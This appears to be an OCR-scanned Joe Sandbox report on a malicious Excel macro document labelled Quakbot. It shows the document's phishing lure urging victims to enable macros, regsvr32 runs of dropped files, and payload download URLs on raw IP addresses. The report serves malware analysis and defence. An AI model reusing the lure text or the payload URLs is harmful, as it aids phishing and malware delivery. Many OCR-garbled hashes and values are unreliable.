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Windows Analysis Report Permission-414467145-06252...
Overview

General Information Detection Signatures Classification

Sample Permission-414467145-
Name: 06252021.xIsm [ MALICIOUS ]

Analysis ID: 440505

Office document tries to convince Vvi...

Document exploit detected (UrlDown...

MD5: .
590ca0e597487d.. Document exploit detected (process...
SHA1:
el41e27af930a2c. Found Excel 4.0 Macro with|suspicio...
SHA256: 20a72dc5350029..
Sigma detected: Microsoft Office Pr...
Tags:
May; sleep (evasive.loeps) ta hinder: ...
Infos: n ;f il

Potentialldecument exploit detected...
Most interesting Screenshot:

B

Potentialldecument exploit detected...

Hidden Macro 4.0 Uses alknown Web) browser USer- age...

1.Open the filein the Microsoft ofce Score: 64
e o et accecie o ensaei
you are g a ol device, 1y Gpeningthe f using

the fullofice desktop app. Range: 0-100

2.1 the event that ths record was downloaded from!
email it would be i

your
teal ifyou cick Enable Editing from the

b L Whitelisted: false
g Sy et e Y. )

H mﬁ‘t{“ﬁ_mi Confidence: 100%
BETelel= __sixmry

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 2492 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
o B regsvr32.exe (PID: 1980 cmdline: regsvr32 ..\Kro.fis MD5: 59BCE9F07985F8A4204F4D6554CFF708)

e [ regsvr32.exe (PID: 3032 cmdline: regsvr32 ..\Kro.fis1 MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o B regsvr32.exe (PID: 2244 cmdline: regsvr32 ..\Kro.fis2 MD5: 59BCE9F07985F8A4204F4D6554CFF708)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Signature Overview

@ Click to jump to signature section
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Software Vulnerabilities:

System Summary:

Office document tries to convince victim to disable security protection (i X or Macros)

Mitre Att&ck Matrix

Ri
Initial Privilege Credential Lateral Command Network S
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects Ef
Valid Scripting Path Process Masquerading os Virtualization/Sandbox Remote Data from  Exfiltration Non- Eavesdropon R
Accounts Interception Injection Credential Evasion Services Local Over Other Application Insecure T
Dumping System Network Layer Network W
Medium Protocol Communication Al
Default  Exploitation for Boot or Boot or Disable or Modify LSASS File and Directory Remote Data from  Exfiltration  Application Exploit SS7to R
Accounts Client Logon Logon Tools Memory Discovery Desktop Removable Over Layer Redirect Phone W
Execution Initialization  Initialization Protocol Media Bluetooth  Protocol Calls/SMS W
Scripts Scripts Al
Domain At (Linux) Logon Script Logon Virtualization/Sandbox Security ~ System Information SMB/Windows Data from Automated Ingress Tool  Exploit SS7to O
Accounts (Windows)  Script Evasion Account Discovery Admin Shares Network Exfiltration Transfer Track Device  Di
(Windows) Manager Shared Location Cl
Drive Bi
Local At (Windows)  Logon Script Logon Process Injection NTDS System Network Distributed Input Scheduled  Protocol SIM Card
Accounts (Mac) Script Configuration Component  Capture Transfer Impersonation Swap
(Mac) Discovery Object Model
Cloud Cron Network Network Scripting LSA Remote System SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Logon Secrets Discovery Transfer Channels Device
Script Size Limits Communication

Behavior Graph
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Hide Legend

Legend:
I:I Process
Behavior Graph . Signature
ID: 440505 . d Fil
Sample: Permission-414467145-062520... Create FI €
Startdate: 25/06/2021 . DNS/IP Info
Architecture: WINDOWS
Score: 64 ﬂ Is Dropped
A% Is Windows Process

Number of created Registry Values

- - - -

EE EXCEL.EXE ~

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language

. Is malicious
185.183.99.1:

D@ 2 i~

49169, 80 8! 49167, 80

SAE D UARDRU dropped
Internet
Panama B Netherlands ~ &= =

issian Federation

_ o el o
y/ v v

‘{ regsvr32.exe # ‘{ regsvra2.exe # ‘( regsvr32.exe #

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Permission-414467145-06252021 - Microsoft Excel - Permission-414467145-06252021 =

Home | Insert  Pagelayout  Formulas  Data  Review  View ca@o &=

& Cut Calibri S - A F F- SiwmpTet Gene) N :’éji‘ :FEEI '—‘;al j\:n :r\ ;—I z %? &a

5a copy ~ DL
- Format Painter

Clipboard Font Alignment Number Styles Cells Editing

B Z U-|Ti- M- A- ElMerge & Center - $ - % » | %@ £ Conditional Fomat Cell | Insert Delete Format Sort& Find &
= = e = ° 0 0 Eormatting = asTable = Styles~ | - - - 2 Clears  Fiter~ Select~

fe

D

H

This invoice is encrypted with Docu;ign X

1. Open the file in the Microsoft office.

Seeing on the web isn't accessible for ensured records.

If you are using a mobile device, try opening the file using
the full office desktop app.

[ R T N FPRINY

2.In the event that this record was downloaded from your
email, it would be ideal if you click Enable Editing from the
yellow bar above.

(i) PROTECTED VIEW Be carcful-files from the internet can cantain viruses. Unless you need to edit, it's safer to stay in Protected View.  Enable Editing

3. When you have empowered altering, click Enable

Content from the yellow bar above.

(1) SECURITY WARNING Macros have been disabled. Enable Content

W 4 b M| Sheetl /%]

Ready |

|([EDZ@m 1w0% =

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection
Permission-414467145-06252021.xIsm 5%
Permission-414467145-06252021.xlsm 4%

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source Detection
http://www.icra.org/vocabulary/. 0%
http://www.icra.org/vocabulary/. 0%

Copyright Joe Security LLC 2021

Scanner

ReversingLabs

Virustotal

Scanner
URL Reputation
URL Reputation

Label

Document-
Office.Backdoor.Quakbot

Label
safe

safe

Link

Browse

Link
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https://www.virustotal.com/gui/file/20a72dc5350b296f2857911444fa065f5b0bb437be8d1bc61819cf29828a2955/detection/f-20a72dc5350b296f2857911444fa065f5b0bb437be8d1bc61819cf29828a2955-1624622727

Source Detection
http://www.icra.org/vocabulary/. 0%
http://www.icra.org/vocabulary/. 0%
http://185.183.99.120/44372.5879460648.dat 0%
http://190.14.37.3/44372.5879460648.dat 0%
http://185.240.103.219/44372.5879460648.dat 0%
http://www.%s.comPA 0%
http://www.%s.comPA 0%
http://www.%s.comPA 0%
http://www.%s.comPA 0%
http://windowsmedia.com/redir/services.asp?WMPFriendly=true 0%
http://windowsmedia.com/redir/services.asp?WMPFriendly=true 0%
http://windowsmedia.com/redir/services.asp?WMPFriendly=true 0%
http://windowsmedia.com/redir/services.asp?WMPFriendly=true 0%
http://servernamef/isapibackend.dll 0%
Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name Malicious
http://185.183.99.120/44372.5879460648.dat false
hitp://190.14.37.3/44372.5879460648.dat false
http://185.240.103.219/44372.5879460648.dat false

URLs from Memory and Binaries

Contacted IPs

Public

P Domain
190.14.37.3 unknown
185.183.99.120 unknown
185.240.103.219 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:

Number of existing processes analysed:
Copyright Joe Security LLC 2021

Country Flag ASN

Panama [ g 52469
Netherlands - 60117
Russian Federation - 57724

32.0.0 Black Diamond

440505

25.06.2021

14:06:26

CloudBasic

Oh 5m 58s

false

light
Permission-414467145-06252021.xlsm

defaultwindowsofficecookbook.jbs

Scanner

URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Antivirus Detection
e Avira URL Cloud: safe
e Avira URL Cloud: safe
e Avira URL Cloud: safe

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

ASN Name
OffshoreRacksSAPA
HSAE
DDOS-GUARDRU

Link

Reputation
unknown
unknown

unknown

Malicious
false
false

false

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET

4.6.2)
8
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Number of existing drivers analysed:

Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal64.expl.evad.winXLSM@7/7@0/3
EGA Information: Failed
HDC Information: Failed
HCA Information: e Successful, ratio: 100%

e Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .xlsm
e Found Word or Excel or PowerPoint or XPS Viewer
e Found warning dialog
e Click Ok
e Found warning dialog
e Click Ok
e Found warning dialog
e Click Ok
e Attach to Office via COM
e Scroll down
e Close Viewer
Warnings: Show All
Simulations
Behavior and APIs
Time Type Description
14:06:49 API Interceptor 3x Sleep call for process: regsvr32.exe modified

Joe Sandbox View | Context

IPs
No context
Domains
No context
ASN
Match Associated Sample Name / URL SHA 256 Detection Link Context
DDOS-GUARDRU Decline-172017164-06242021x0sm  Gethash malicious Browse o 5.253.62.174
Get hash malicious Browse e 185.178.20
8.135
Get hash malicious Browse e 185.129.10
0.112
Get hash malicious Browse e 185.240.10
3.162
Get hash malicious Browse e 185.240.10
3.162
Get hash malicious Browse e 185.129.10
0.112

Copyright Joe Security LLC 2021 Page 9 of 18


https://view.joesandbox.com/analysis/345824/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345824/html/none?idtype=webid
https://view.joesandbox.com/analysis/345818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345818/html/none?idtype=webid
https://view.joesandbox.com/analysis/345714/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345714/html/none?idtype=webid
https://view.joesandbox.com/analysis/342533/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342533/html/none?idtype=webid
https://view.joesandbox.com/analysis/341033/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341033/html/none?idtype=webid
https://view.joesandbox.com/analysis/341029/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341029/html/none?idtype=webid
https://view.joesandbox.com/analysis/336705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336705/html/none?idtype=webid

Match

OffshoreRacksSAPA

HSAE

JA3 Fingerprints

No context

Copyright Joe Security LLC 2021

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash
Get hash

Get hash

Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
[}
@
<]
Q,
2
@
-
[
o
3
-
®
2
o
3
®
[=
a
[

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

185.178.20
8.160

185.178.20
8.160

185.178.20
8.160

185.178.20
8.160

5.253.61.31

185.178.20
8.189

185.178.20
8.189

185.129.10
0.100

185.219.40.40

185.178.20
8.161

185.219.40.40
5.253.61.133
45.128.207.237
190.14.37.2
190.14.37.2
190.14.37.2
190.14.37.2
190.14.37.135
190.14.37.135
190.14.37.135
190.14.37.135
190.14.37.135
190.14.37.135
190.14.37.134
190.14.37.134
190.14.37.102
190.14.37.102
190.14.37.121
190.14.37.121
190.14.37.102
190.14.37.102
190.14.37.113
190.14.37.113
185.117.73.74
185.117.73.74
188.116.36.211
185.45.193.29
185.45.193.29
185.45.193.29
185.45.193.29
185.198.57.204
185.45.193.29
185.45.193.29
185.45.193.29
185.141.27.225
185.198.57.204

194.36.189.154
194.36.189.154
194.36.189.154
194.36.189.154
185.45.192.246
185.45.192.236
185.45.192.236
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https://view.joesandbox.com/analysis/319790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319790/html/none?idtype=webid
https://view.joesandbox.com/analysis/307315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307315/html/none?idtype=webid
https://view.joesandbox.com/analysis/307312/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307312/html/none?idtype=webid
https://view.joesandbox.com/analysis/293040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293040/html/none?idtype=webid
https://view.joesandbox.com/analysis/292265/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292265/html/none?idtype=webid
https://view.joesandbox.com/analysis/278317/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278317/html/none?idtype=webid
https://view.joesandbox.com/analysis/278072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278072/html/none?idtype=webid
https://view.joesandbox.com/analysis/274109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274109/html/none?idtype=webid
https://view.joesandbox.com/analysis/273822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273822/html/none?idtype=webid
https://view.joesandbox.com/analysis/269297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/269297/html/none?idtype=webid
https://view.joesandbox.com/analysis/267343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267343/html/none?idtype=webid
https://view.joesandbox.com/analysis/266881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266881/html/none?idtype=webid
https://view.joesandbox.com/analysis/263450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263450/html/none?idtype=webid
https://view.joesandbox.com/analysis/343325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343325/html/none?idtype=webid
https://view.joesandbox.com/analysis/343324/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343324/html/none?idtype=webid
https://view.joesandbox.com/analysis/342904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342904/html/none?idtype=webid
https://view.joesandbox.com/analysis/342900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342900/html/none?idtype=webid
https://view.joesandbox.com/analysis/341886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341886/html/none?idtype=webid
https://view.joesandbox.com/analysis/341885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341885/html/none?idtype=webid
https://view.joesandbox.com/analysis/341529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341529/html/none?idtype=webid
https://view.joesandbox.com/analysis/341523/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341523/html/none?idtype=webid
https://view.joesandbox.com/analysis/341469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341469/html/none?idtype=webid
https://view.joesandbox.com/analysis/341468/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341468/html/none?idtype=webid
https://view.joesandbox.com/analysis/339564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339564/html/none?idtype=webid
https://view.joesandbox.com/analysis/339560/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339560/html/none?idtype=webid
https://view.joesandbox.com/analysis/338212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338212/html/none?idtype=webid
https://view.joesandbox.com/analysis/338206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338206/html/none?idtype=webid
https://view.joesandbox.com/analysis/338081/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338081/html/none?idtype=webid
https://view.joesandbox.com/analysis/338073/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338073/html/none?idtype=webid
https://view.joesandbox.com/analysis/337921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337921/html/none?idtype=webid
https://view.joesandbox.com/analysis/337920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337920/html/none?idtype=webid
https://view.joesandbox.com/analysis/337805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337805/html/none?idtype=webid
https://view.joesandbox.com/analysis/337799/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337799/html/none?idtype=webid
https://view.joesandbox.com/analysis/345824/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345824/html/none?idtype=webid
https://view.joesandbox.com/analysis/345818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345818/html/none?idtype=webid
https://view.joesandbox.com/analysis/345017/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345017/html/none?idtype=webid
https://view.joesandbox.com/analysis/344493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344493/html/none?idtype=webid
https://view.joesandbox.com/analysis/344430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344430/html/none?idtype=webid
https://view.joesandbox.com/analysis/344419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344419/html/none?idtype=webid
https://view.joesandbox.com/analysis/344319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344319/html/none?idtype=webid
https://view.joesandbox.com/analysis/344298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344298/html/none?idtype=webid
https://view.joesandbox.com/analysis/344221/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344221/html/none?idtype=webid
https://view.joesandbox.com/analysis/344220/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344220/html/none?idtype=webid
https://view.joesandbox.com/analysis/344192/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344192/html/none?idtype=webid
https://view.joesandbox.com/analysis/344124/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344124/html/none?idtype=webid
https://view.joesandbox.com/analysis/344075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344075/html/none?idtype=webid
https://view.joesandbox.com/analysis/343325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343325/html/none?idtype=webid
https://view.joesandbox.com/analysis/343324/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343324/html/none?idtype=webid
https://view.joesandbox.com/analysis/342904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342904/html/none?idtype=webid
https://view.joesandbox.com/analysis/342900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342900/html/none?idtype=webid
https://view.joesandbox.com/analysis/342058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342058/html/none?idtype=webid
https://view.joesandbox.com/analysis/339430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339430/html/none?idtype=webid
https://view.joesandbox.com/analysis/339426/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339426/html/none?idtype=webid

Dropped Files

No context

Created |/ dropped Files

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4A07B784.jpg

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

[TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS6 (Windows), d
atetime=2021:02:11 21:11:18], baseline, precision 8, 1860x1000, frames 3

dropped

139381

7.677272725029824

false
3072:CmKZQmKZ3KNhPQNnVbJ201gZMys2g4D5JhoD4Z0y:54P4346PgZw9gQat
53918FB868F1540920FC189C6783FC7C
135CB103C5B5125C80285A83AE728B559313BADC
7F6AD5212338A6586251AEF92D2543AA8E70C815FEOBF7ADDCE2C0A83D20A0B3

31391EFC3D377EA32A537EF3DDCA41ABAF34C4C83CDFEF9A64D40DE219B88A293BE2BF01D6A5D2B23365513CB880020F37CABE90506C41FB7FC8E42D4D641I
51

false

low

H... H

bkpt........
...ITRC..<..gTRC...<..bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc
.................... XYZ oo Qe XYZ e XYZ 0080 XY Z b XYZ LS dese

C:\Users\user\AppData\Local\Temp\BECE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

153117

7.664520146264211

false
3072:cnxmKZQmKZ3KNhPQnVbJ201gZMys2g4D5JhoD4Z046M:cng4P4346PgZw9gQad
E7FFODFAC948EB9E3F28829A03D3CFIF
DEOBB99F512724500B07FE16A497934D9B2F3455
1C614F666606155F93B4EC6462A3FF9196574F1527943EEC11435396B598B0D4

DD3E1F81FEBF93235D9A6BFCAB0641C0C92FF6B4B234B10DF43B14FFE6C8E99CDB086B7AA142F08CF6FCC786F77474D697CD65EE975B5A1CBEC17E1B54D74
D88

false

low

N0 A (G V.. X8......41.2y..0..AW..i.{i..3... X.+K.7..... E5a.8.UM.~=..Y.I8%.WP.5 .. }.> . A K..~p...+
$K.5...Derr A o]0 G 1 112,2%.T]d,. 2. AMN.2....D.]N@../9...| X@G {....
>SN0 JGWO..2..35 /j.w.r.

“miX.).......%p.L..M..B..T..F\V.I~.Q5.1-E"....H..-Ay.j.u.L.P..
..... B..&Z.W....@....L.4."" 2t 4_.. :T.Y.~|.F\.i....tz?F..D..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Fri Jun 25 20:06:
38 2021, atime=Fri Jun 25 20:06:38 2021, length=8192, window=hide

dropped

867

4.501022480561873

false

12:85QfLgXg/XAICPCHaXtB8XzB/twX+WnicvbDS9bDtZ3YiIIMMEpxRIJKHUMN6TdJIU:85A/XTd6jkYeihDv3qGnirNru/

F1455988FCO9FAE5664C5753629ED52BB

6747F36980BEGE1AFF19D8BIF7B7C48997286F85

2019327C54A56F28B2BOAE5SDE5681398F7D8CC190310DDOF6DCEA7D7CEC6824C
8F4005A91D7D645EA55846348B081CF56F1145650674284AD834626CEC1EDCB7A6B6C2B1BDACC31FIF13668193F81ECEAG527D3DB2F4D844E267AD836E4A827
false

low
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Preview:

| ESTTUPRPRN | ST TG SW. o SWe s i i...P.O. i, 400, /C N t.1.....QK.X..Users. .......QK.X*....ooie 6....Us.ers..@.s.hell3.2.dll,.-
2.1.8.1.3....L.1...... QK X.Qy*...&=.. Alb.us....z.1......R...Desktop.d...... QK. X.R.* ....D.esskto.p..@.s.h.ell3.2.dll,.-21.
L8[ 2J......C:\Users\..#.. .\\141700\Users.user\Desktop.......\. \ .D.e.s.k.t.o.p.. LB.)...Ag 1SPS.XF.L8C

.5.-1.-5.-2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.... ....141700... _CBNLWLLOr }EKD_....3N..W

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Permission-414467145-06252021.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Fri Jun 25 20:06:38 2021,
atime=Fri Jun 25 20:06:38 2021, length=153117, window=hide

dropped

2228

4.555970335453609

false

48:8Hf1W/XTOjFL1SaRS8GIQh2HfIW/XTOjFL1SaRS8GIQ/:8Hf1W/X0jFLNGIQh2Hf1W/X0jFLNGIQ/

16864E7220CE49809E8CB699A24889CB

15CC58A077446427D87345619805CCAAOBEDB4A8

DF8F15797890F5E20498C2E87BA020FACE211A7EF8FE013289C7F7ESD5AEF30C
B94AC86B7136C833B76D264F21C560C8CE9086440C526EBB5D07B6F6A37CC42A99B1AAEDA1EIS6E939F09CF1784F342FB943CE74130493151E9C4AB93B99A49
false

low

| IS Foe i {OWejo e Ve P.O. Q... #00.../C:\ec t.1.....QK.X..Users. ........QK.X*..on. 6...Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=....U. Alb.us....z.1.....Q.y..Desktop.d.....QK.X.Q.y*..._=...................D.e.skto.p..@.s.hell3.2..d.ll,.-2.1
7.6.9......2.X...R. .PERMIS~1.XLS..I......Q.y.Q.y*...8. .....P.ermis.s.io.n.-4.14.4.6.7.1.45.-.0.6.2.5.2.0.2.1..x.l.s.m B[ 2.
\Users\..#........ .\\141700\Users.user\Desktop\Permission-414467145-06252021.xIsm.9....\....\....\....\....\.D.e.sk.t.o.p.\.P.e.rm.i.s.s.i.0.n.-.4.1.4.4.6.7.1.4.5.-.0.6.2.5.
2.0.2.1...xlsm.. .-...5.-1.-5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

142

4.642670559637109

false
3:0yBVomxW+LXxCRTnV5NUItLXCRTNVSNUIMXW+LXxCRTnv5NUIv:djHC5vI/FC5viaC5vI1
DAC8913182CCB2EAEA86304F342799F4
394074391582ABC7A7F67CB563FC01E438712E12
F287F47508BBBDFC7A95F43C0F435981E1EEDADBBF48926265E42EA173C07199

EF9B7E2A51367E553A3116022DBESFES6E7845FE79B05902048FF6C3C409BECFAA9C7C59AA64E8BB8BF3A7AEEOAG3AGEI3A47A3681381578FE181A43728810D
5

false

low

Desktop.LNK=0..[misc]..Permission-414467145-06252021.LNK=0..Permission-414467145-06252021.LNK=0..[misc]..Permission-414467145-06252021.LNK=0..

C:\Users\user\Desktop\4FCE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office L4\ EXCEL.EXE

data

dropped

153117

7.664520146264211

false
3072:cnxmKZQmKZ3KNhPQNVbJI201gZMys2g4D5JhoD4Z046M:cng4P4346PgZw9gQad
E7FFODFAC948EB9E3F28829A03D3CFIF
DEOBB99F512724500B07FE16A497934D9B2F3455
1C614F666606155F93B4EC6462A3FF9196574F1527943EEC11435396B598B0D4

DD3E1F81FEBF93235D9A6BFCAB0O641C0C92FF6B4B234B10DF43B14FFE6C8E99CDB086B7AA142F08CF6FCC786F77474D697CD65EE975B5A1CBEC17E1B54D74
D88

false

low

..N.0..+....(Q.V...X8......41.7y..0..dw..i.{i..3.
$k.5...D.....A. *.a...

X..+k.7.....E5a.8.vyM.~=..Y.I8%.WP.5 ...}.>.."A..k..~p...+.
r...iz,a%.7]d..2.[..hMh.a...D.]JN@../9.....x@G {..
..&n....o0.......[Content_Types].xml ...(
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Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDIwW2fj/FFDJIw2fV:.vBFFGaFFGS

MDS5: 96114D75E30EBD26B572C1FC83D1D02E

SHA1L: A44EEBDASEB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69C06AD4A83FAFOF021AD7C8D30600AA8168348BDOFAS
0

Malicious: true

Reputation: high, very likely benign file

Preview:
user LALDUS user VAlbuso oo

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:
Number of OLE Files:

OLE File "Permission-414467145-06252021.xlsm"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:

Contains Visio Document Stream:

Copyright Joe Security LLC 2021

ede2aaBaadbchcac

OpenXML
1

Microsoft Excel 2007+
7.666395274852154

e Excel Microsoft Office Open XML Format document

(40004/1) 83.33%

e ZIP compressed archive (8000/1) 16.67%
Permission-414467145-06252021.xIsm
153750
590ca0e597487dd5ad6c2f1fb64184dd
el4le27af930a2cdeafab2eb20727000de893629

20a72dc53500296f2857911444fa065f5b0bb437be8d1bc
61819cf29828a2955

